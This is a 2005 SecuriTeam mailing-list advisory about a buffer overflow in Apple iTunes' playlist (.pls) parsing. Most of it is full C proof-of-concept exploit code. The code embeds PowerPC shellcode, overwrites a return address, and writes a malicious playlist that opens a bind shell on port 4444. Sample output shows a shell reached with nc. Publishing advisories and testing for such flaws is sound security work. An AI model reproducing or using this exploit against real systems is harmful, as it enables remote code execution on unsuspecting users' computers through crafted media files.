[EXPL] Apple iTunes Playlist Parsing Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 01/16/05

  • Next message: SecuriTeam: "[UNIX] SparkleBlog SQL Injection" 
    To: list@securiteam.com
Date: 16 Jan 2005 11:19:44 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Apple iTunes Playlist Parsing Buffer Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.apple.com/itunes/> Apple iTunes is "a digital jukebox capable
    of playing a variety of sound file formats, sharing music and burning
    music CD's". Remote exploitation of a buffer overflow vulnerability in
    Apple Computer Inc.'s iTunes music player allows attackers to execute
    arbitrary code. The following exploit code can be used to test your system
    for the mentioned vulnerability.

    DETAILS

    Exploit:
    /*
     * PoC for iTunes on OS X 10.3.7
     * -( nemo@felinemenace.org )-
     *
     * Generates a .pls file, when loaded in iTunes it
     * binds a shell to port 4444.
     * Shellcode contains no \x00 or \x0a's.
     *
     * sample output:
     *
     * -[nemo@gir:~]$ ./fm-eyetewnz foo.pls
     * -( fm-eyetewnz )-
     * -( nemo@felinemenace.org )-
     * Creating file: foo.pls.
     * Bindshell on port: 4444
     * -[nemo@gir:~]$ open foo.pls
     * -[nemo@gir:~]$ nc localhost 4444
     * id
     * uid=501(nemo) gid=501(nemo) groups=501(nemo)
     *
     * Thanks to andrewg, mercy and core.
     * Greetings to pulltheplug and felinemenace.
     *
     * -( need a challenge? )-
     * -( http://pulltheplug.org )-
     */

    #include <stdio.h>
    #include <strings.h>

    #define BUFSIZE 1598 + 4

    char shellcode[] = /* large ugly shellcode generated by
    http://metasploit.com */
    "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff\x07\xfa"
    "\x38\xa5\xf8\x4a\x3c\xc0\xee\x83\x60\xc6\xb7\xfb\x38\x85\x07\xee"
    "\x7c\x89\x03\xa6\x80\x9f\xf8\x4a\x7c\x84\x32\x78\x90\x9f\xf8\x4a"
    "\x7c\x05\xf8\xac\x7c\xff\x04\xac\x7c\x05\xff\xac\x3b\xc5\x07\xba"
    "\x7f\xff\xf2\x15\x42\x20\xff\xe0\x4c\xff\x01\x2c\xd6\xe3\xb7\xf9"
    "\xd6\x03\xb7\xfa\xd6\x23\xb7\xfd\xd6\x83\xb7\x9a\xaa\x83\xb7\xf9"
    "\x92\x83\xb5\x83\x92\xfd\xac\x83\xa6\x83\xb7\xf6\xee\x81\xa6\xa7"
    "\xee\x83\xb7\xfb\x92\x0b\xb5\x5d\xd6\x23\xb7\xeb\xd6\x83\xb7\x93"
    "\x91\x40\x44\x83\xaa\x83\xb7\xf9\x92\x83\xb5\x83\xd6\x83\xb7\x91"
    "\x91\x40\x44\x83\xaa\x83\xb7\xf9\x92\x83\xb5\x83\x91\x40\x44\x83"
    "\xd6\x83\xb7\xe5\xd6\x03\xb7\xeb\x7e\x02\x48\x13\xd6\x22\x48\x13"
    "\xd6\x02\x48\x0b\xaa\x83\xb7\xf9\x92\x83\xb5\x83\x92\xfd\xac\x83"
    "\xd6\x23\xb7\xf9\xd6\x83\xb7\xa1\x91\x40\x44\x83\x92\x27\x9c\x83"
    "\xaa\x83\xb7\xf9\x92\x83\xb5\x83\xd6\x26\x48\x04\xc2\x86\x48\x04"
    "\xae\x01\x48\x1e\xd6\x83\xb7\xb9\xaa\x83\xb7\xf9\x92\x83\xb5\x83"
    "\x92\x26\x9d\x82\xae\x01\x48\x06\x92\xeb\xb5\x5d\xd6\xe0\xb7\xd3"
    "\x7e\xe2\x48\x03\x7e\x22\x48\x07\xd6\x02\x48\x03\xd6\x83\xb7\xc0"
    "\x92\x83\xb3\x57\xaa\x83\xb7\xf9\x92\x83\xb5\x83\x91\x63\xb7\xf3"
    "\xc1\xe1\xde\x95\xc1\xe0\xc4\x93\xee\x83\xb7\xfb";

    int main(int ac, char **av)
    {
            int n,*p;
            unsigned char * q;
            char buf[BUFSIZE];
            FILE *pls;
            int offset=0x3DA8;
            char playlist[] = {
                    "[playlist]\n"
                    "NumberOfEntries=1\n"
                    "File1=http://"
            };
            printf("-( fm-eyetewnz )-\n");
            printf("-( nemo@felinemenace.org )-\n");
            memset(buf,'\x60',BUFSIZE);
            bcopy(shellcode, buf + (BUFSIZE - 44 -
    sizeof(shellcode)),sizeof(shellcode) - 1); // avoid mangled stack.
            q = buf + sizeof(buf) - 5;
            p = (int *)q;
            if(!(av[1])) {
                    printf("usage: %s <filename (.pls)> [offset]\n",*av);
                    exit(1);
            }
            if(av[2])
                    offset = atoi(av[2]);
            *p = (0xc0000000 - offset);// 0xbfffc258;
            if(!(pls = fopen(*(av+1),"w+"))) {
                    printf("error opening file: %s.\n", *(av +1));
                    exit(1);
            }
            printf("Creating file: %s.\n",*(av+1));
            printf("Bindshell on port: 4444\n");
            fwrite(playlist,sizeof(playlist) - 1,1,pls);
            fwrite(buf,sizeof(buf) - 1,1,pls);
            fclose(pls);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nemo@felinemenace.org> nemo.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[UNIX] SparkleBlog SQL Injection"

    Relevant Pages